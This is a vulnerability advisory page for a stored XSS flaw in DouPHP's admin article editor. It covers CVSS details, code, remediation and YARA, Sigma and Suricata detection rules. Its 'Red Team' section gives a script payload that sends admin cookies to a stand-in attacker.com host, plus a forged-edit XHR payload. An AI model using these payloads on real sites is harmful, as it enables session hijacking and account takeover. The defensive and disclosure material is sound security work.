CVE-2024-57599
Executive Summary
CVE-2024-57599 is a Stored Cross-Site Scripting (XSS) vulnerability identified in DouPHP v.1.8 Release 20231203, specifically within the /admin/article.php endpoint. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code via the description parameter. This malicious script is then stored on the server and executed in the browsers of other administrators who view the affected article, leading to session hijacking, credential theft, or defacement. The vulnerability has a low CVSS score due to the requirement for authentication and user interaction, but the potential impact within a trusted admin panel is significant. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS v3.1 Score: 4.8 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – An attacker must have admin-level access to the DouPHP backend.
- User Interaction (UI): Required (R) – Another admin user must view the malicious article.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component (e.g., steal cookies from other admin sessions).
- Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content or perform actions on behalf of the victim.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the real-world risk is elevated because the vulnerability resides in the administrative interface, which is a high-value target for attackers seeking to compromise the entire CMS.
Deep Dive & Mechanics
The vulnerability lies in the description parameter of the article creation/editing functionality in /admin/article.php. The application fails to properly sanitize or escape user-supplied input before storing it in the database and later rendering it in the admin panel.
Attack Flow:
- An attacker with admin credentials logs into the DouPHP backend.
- The attacker navigates to the article management section (
/admin/article.php?rec=edit). - In the
descriptionfield, the attacker injects a malicious payload, such as:<script>alert('XSS')</script> - The application stores this payload in the database without sanitization.
- When another admin user views the article list or edits the same article, the stored payload is rendered in their browser.
- The injected script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the admin interface.
Root Cause: The description parameter is likely processed by a function like htmlspecialchars() with incorrect flags or is not called at all. The application may rely on client-side validation only, which is easily bypassed.
Vulnerable vs. Patched Code
Vulnerable Code (DouPHP v1.8 Release 20231203):
// /admin/article.php (simplified)
$description = $_POST['description'];
$sql = "UPDATE article SET description='$description' WHERE id=$id";
$db->query($sql);
The input is directly concatenated into the SQL query and stored without any sanitization or escaping.
Patched Code (Hypothetical Fix):
// /admin/article.php (patched)
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
$stmt = $db->prepare("UPDATE article SET description=? WHERE id=?");
$stmt->bind_param("si", $description, $id);
$stmt->execute();
The fix uses htmlspecialchars() to encode HTML special characters and prepared statements to prevent SQL injection (though SQLi is not the primary issue here, it is a best practice). The XSS is mitigated by encoding the input before storage.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- DouPHP v1.8 Release 20231203 installed.
- Admin credentials (e.g.,
admin:admin).
Exploitation Steps:
- Log in to the admin panel.
- Go to
Article Management->Add Article. - In the
Descriptionfield, inject a payload to steal cookies:<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the article.
- Wait for another admin to view the article. The script will execute and send the victim's cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/article.php?rec=edit&id=1', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('title=Hacked&description=Malicious');
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor for unusual POST requests to
/admin/article.phpcontaining<script>tags or event handlers (e.g.,onload,onerror). - Review database entries for the
descriptioncolumn for HTML/JavaScript content. - Implement Content Security Policy (CSP) headers to block inline scripts.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Lab Setup:
- Install DouPHP v1.8 Release 20231203 on a local server (e.g., XAMPP).
- Create two admin accounts: one for the attacker, one for the victim.
- Use browser developer tools to monitor network traffic and cookie behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/admin/article.phpwithdescriptionparameter containing<script>tags. - Outbound HTTP requests to unknown domains from the admin panel (cookie exfiltration).
- POST requests to
- File System IOCs:
- Modified entries in the
articletable of the DouPHP database with HTML/JavaScript in thedescriptioncolumn.
- Modified entries in the
- Log IOCs:
- Web server logs showing repeated access to
/admin/article.phpwith suspicious payloads. - Error logs indicating failed SQL queries (if injection attempts are made).
- Web server logs showing repeated access to
Detection Engineering
YARA Rule
rule Detect_DouPHP_XSS_Description {
meta:
description = "Detects XSS payloads in DouPHP article description"
author = "Valters IT"
date = "2024-12-03"
reference = "CVE-2024-57599"
strings:
$xss_payload = /<script[\s\S]*?>[\s\S]*?<\/script>/i
$event_handler = /on\w+\s*=\s*["']?[^"']*["']?/i
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: DouPHP Admin XSS via Description Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts in DouPHP admin article description field
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin/article.php'
cs-uri-query|contains: 'description='
cs-uri-query|contains|all:
- '<script'
- '</script>'
condition: selection
falsepositives:
- Legitimate use of HTML in description (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-57599 DouPHP XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/article.php"; http_uri; content:"description="; http_client_body; pcre:"/<script[\s\S]*?>[\s\S]*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the article description field in the admin panel until a patch is available.
- Restrict admin access to trusted IP addresses only.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-Term Fix:
- The vendor must release a patch that properly sanitizes the
descriptionparameter usinghtmlspecialchars()or a similar function. - As a workaround, developers can modify
/admin/article.phpto escape output:echo htmlspecialchars($description, ENT_QUOTES, 'UTF-8');
Additional Hardening:
- Enable Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Use HTTP-only cookies to prevent JavaScript access to session tokens.
- Regularly audit admin user activities.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.